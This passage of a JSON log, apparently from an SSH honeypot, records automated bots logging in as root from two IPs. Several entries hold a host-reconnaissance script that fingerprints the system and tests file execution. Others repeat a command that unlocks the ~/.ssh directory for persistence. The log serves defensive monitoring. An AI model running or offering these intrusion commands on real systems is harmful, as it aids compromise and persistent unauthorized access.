2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:00:52.572729+00:00",
  "ended_at": "2026-08-27T09:00:52.682110+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "486378c9-41b6-47cd-a3d9-54b16c0702b9",
  "name": "ashen-indigo-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 49012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T08:58:57.226275+00:00",
  "ended_at": "2026-08-27T08:58:57.367915+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7fbb0bfa-1743-4f04-85c8-aba245adb514",
  "name": "shifting-breezy-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T08:57:03.148144+00:00",
  "ended_at": "2026-08-27T08:57:03.279665+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "45302c62-51b2-44b6-99b0-88c1852b1153",
  "name": "placid-civil-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42596,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T08:54:58.712921+00:00",
  "ended_at": "2026-08-27T08:54:58.826486+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "af896936-a490-4587-a7f3-ab81ff6b066d",
  "name": "smooth-brazen-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:24:30.157713+00:00",
  "ended_at": "2026-08-27T08:24:32.057443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "db03798b-2ab8-4bf9-913e-a0604d3b8b8a",
  "name": "solemn-quaint-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:24:13.436156+00:00",
  "ended_at": "2026-08-27T08:24:15.331005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0786c559-9e56-498d-ae22-98af685d2aac",
  "name": "brave-fabled-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 39980,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:00:00.115200+00:00",
  "ended_at": "2026-08-27T08:00:01.100021+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "6c23bdd9-1d9e-406b-affe-ea1ebae2b99d",
  "name": "crisp-curious-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41364,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:59:43.369441+00:00",
  "ended_at": "2026-08-27T07:59:44.942026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "526ccc32-3278-43c2-8f81-18ffc9142ec7",
  "name": "watchful-subtle-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:51:40.258908+00:00",
  "ended_at": "2026-08-27T07:51:42.100928+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "94420638-9591-4a54-8dd9-19e476277180",
  "name": "vernal-dusky-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:51:24.804190+00:00",
  "ended_at": "2026-08-27T07:51:25.789999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94ff5a48-3683-4428-9c98-5452bc5b7406",
  "name": "valiant-plush-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48844,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:30:31.282669+00:00",
  "ended_at": "2026-08-27T07:30:32.695110+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d6bc4c42-63c3-415a-9ec6-bfe5b20cf896",
  "name": "zealous-snowy-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:30:14.594140+00:00",
  "ended_at": "2026-08-27T07:30:15.601111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33a416c2-d44e-49ee-b200-ed7af2034aa4",
  "name": "lofty-prickly-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57532,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:28:19.250693+00:00",
  "ended_at": "2026-08-27T07:28:21.427591+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "28c648ea-5ff4-488b-87fe-e194c9c0fee1",
  "name": "marbled-eager-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59002,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:28:02.656948+00:00",
  "ended_at": "2026-08-27T07:28:04.010225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d5b2901-3556-4c9b-806e-07f5bc37792c",
  "name": "lonesome-vaulted-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:22:10.073480+00:00",
  "ended_at": "2026-08-27T07:22:11.907203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2289
 },
 {
  "id": "82e057be-a610-40d5-8d0b-c98d89e6dba9",
  "name": "prickly-civil-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56592,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:21:55.558371+00:00",
  "ended_at": "2026-08-27T07:21:56.537166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8477a6bd-07cb-4fd4-979f-12cccb1b9c57",
  "name": "gnarled-cosmic-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 35846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:20:03.763769+00:00",
  "ended_at": "2026-08-27T07:20:05.167051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "fa17daf1-5566-456f-92e2-913d87edb24c",
  "name": "hazy-bashful-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37412,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:19:48.126937+00:00",
  "ended_at": "2026-08-27T07:19:49.938440+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "abd3c6b5-7436-4da3-979d-4c48f8db5de7",
  "name": "subtle-steady-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42436,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:09:47.536725+00:00",
  "ended_at": "2026-08-27T07:09:49.079769+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "71faa608-e9ac-47d9-bbb9-3990942fffb1",
  "name": "humble-blazing-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 44182,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:09:31.957856+00:00",
  "ended_at": "2026-08-27T07:09:33.601543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "432ebf80-50b7-4ad3-8d3e-d2a0d938c8d6",
  "name": "ashen-lofty-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 40314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:03:36.617750+00:00",
  "ended_at": "2026-08-27T07:03:37.835051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "6088c33e-7d2f-49a6-a30c-e9c29a5208f9",
  "name": "rustic-coral-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:03:21.500731+00:00",
  "ended_at": "2026-08-27T07:03:22.197216+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98796246-8261-44f3-a812-1a7c50633a0e",
  "name": "crystal-crimson-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57732,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:59:18.510870+00:00",
  "ended_at": "2026-08-27T06:59:20.656529+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "2936035d-53ae-4ce0-94a7-5252ec13b0f4",
  "name": "patient-gnarled-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59518,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:59:01.793201+00:00",
  "ended_at": "2026-08-27T06:59:03.314018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd337afe-137f-4ac9-bc9a-20e8dcbd7860",
  "name": "rustic-zealous-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 38200,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:57:11.711848+00:00",
  "ended_at": "2026-08-27T06:57:13.878106+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "2c1099cc-78d5-49b8-ba65-1e898469146a",
  "name": "upland-misty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:56:55.012777+00:00",
  "ended_at": "2026-08-27T06:56:56.647166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b40208fd-5f2f-42cf-992b-9a2614c05fa3",
